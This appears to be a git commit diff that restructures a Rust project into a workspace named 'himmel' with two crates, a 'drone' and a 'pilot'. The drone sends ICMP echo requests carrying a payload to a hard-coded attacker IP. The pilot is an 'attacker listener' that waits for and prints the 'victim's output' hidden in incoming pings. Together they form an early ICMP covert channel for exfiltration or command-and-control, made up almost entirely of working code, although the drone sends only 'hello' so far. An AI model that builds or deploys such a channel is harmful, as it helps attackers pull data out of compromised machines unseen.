diff options
-rw-r--r-- | .gitignore | 1 | ||||
-rw-r--r-- | Cargo.toml | 11 | ||||
-rw-r--r-- | drone/Cargo.toml | 8 | ||||
-rw-r--r-- | drone/src/main.rs | 32 | ||||
-rw-r--r-- | pilot/Cargo.toml | 7 | ||||
-rw-r--r-- | pilot/src/main.rs | 36 | ||||
-rw-r--r-- | src/main.rs | 3 |
7 files changed, 89 insertions, 9 deletions
@@ -1 +1,2 @@ /target +Cargo.lock @@ -1,6 +1,5 @@ -[package] -name = "himmel" -version = "0.1.0" -edition = "2024" - -[dependencies] +[workspace] +members = [ + "drone", + "pilot" +] diff --git a/drone/Cargo.toml b/drone/Cargo.toml new file mode 100644 index 0000000..6d6aaf5 --- /dev/null +++ b/drone/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "himmel-drone" +version = "0.1.0" +edition = "2024" + +[dependencies] +pnet = { version = "0.31.0", features = ["std"] } + diff --git a/drone/src/main.rs b/drone/src/main.rs new file mode 100644 index 0000000..600a5f7 --- /dev/null +++ b/drone/src/main.rs @@ -0,0 +1,32 @@ +use pnet::packet::icmp::{IcmpPacket, IcmpTypes, checksum}; +use pnet::packet::icmp::echo_request::MutableEchoRequestPacket; +use pnet::packet::{Packet}; +use pnet::transport::{transport_channel, TransportChannelType, TransportProtocol}; +use pnet::packet::ip::IpNextHeaderProtocols; +use std::net::IpAddr; + +fn main() { + let attacker_ip: IpAddr = "192.168.1.86".parse().unwrap(); + + let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp)); + let (mut tx, _) = transport_channel(1024, protocol).expect("Failed to open channel"); + + let mut buffer = [0u8; 64]; + let mut packet = MutableEchoRequestPacket::new(&mut buffer).unwrap(); + + packet.set_icmp_type(IcmpTypes::EchoRequest); + packet.set_identifier(1234); + packet.set_sequence_number(1); + + let payload = b"hello"; + packet.set_payload(payload); + + let icmp_packet = IcmpPacket::new(packet.packet()).unwrap(); + let chksum = checksum(&icmp_packet); + packet.set_checksum(chksum); + + match tx.send_to(packet, attacker_ip) { + Ok(_) => println!("Packet sent"), + Err(e) => eprintln!("Send failed: {:?}", e), + } +} diff --git a/pilot/Cargo.toml b/pilot/Cargo.toml new file mode 100644 index 0000000..2431931 --- /dev/null +++ b/pilot/Cargo.toml @@ -0,0 +1,7 @@ +[package] +name = "himmel-pilot" +version = "0.1.0" +edition = "2024" + +[dependencies] +pnet = { version = "0.31.0", features = ["std"] } diff --git a/pilot/src/main.rs b/pilot/src/main.rs new file mode 100644 index 0000000..b5373fe --- /dev/null +++ b/pilot/src/main.rs @@ -0,0 +1,36 @@ +use std::net::IpAddr; +use pnet::packet::{Packet}; +use pnet::packet::icmp::{IcmpTypes, echo_request, IcmpPacket}; +use pnet::transport::{icmp_packet_iter, transport_channel, TransportChannelType, TransportProtocol}; +use pnet::packet::ip::IpNextHeaderProtocols; + +fn main() { + let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp)); + let (_tx, mut rx) = transport_channel(1024, protocol).expect("Failed to open channel"); + + println!("[*] Attacker listener ready — waiting for victim’s output..."); + + let mut iter = icmp_packet_iter(&mut rx); + + while let Ok((packet, sender_ip)) = iter.next() { + println!("Got ICMP packet from {} type: {:?}", sender_ip, packet.get_icmp_type()); + if packet.get_icmp_type() == IcmpTypes::EchoRequest { + if let Some(req) = echo_request::EchoRequestPacket::new(packet.packet()) { + let data = req.payload(); + if !data.is_empty() { + println!( + "[<] From {} | ID={} SEQ={} | Output:\n{}", + sender_ip, + req.get_identifier(), + req.get_sequence_number(), + String::from_utf8_lossy(data) + ); + } else { + println!("[<] From {} | ID={} SEQ={} | No payload", sender_ip, req.get_identifier(), req.get_sequence_number()); + } + } else { + println!("Malformed ICMP Echo Request packet"); + } + } + } +} diff --git a/src/main.rs b/src/main.rs deleted file mode 100644 index e7a11a9..0000000 --- a/src/main.rs +++ /dev/null @@ -1,3 +0,0 @@ -fn main() { - println!("Hello, world!"); -} |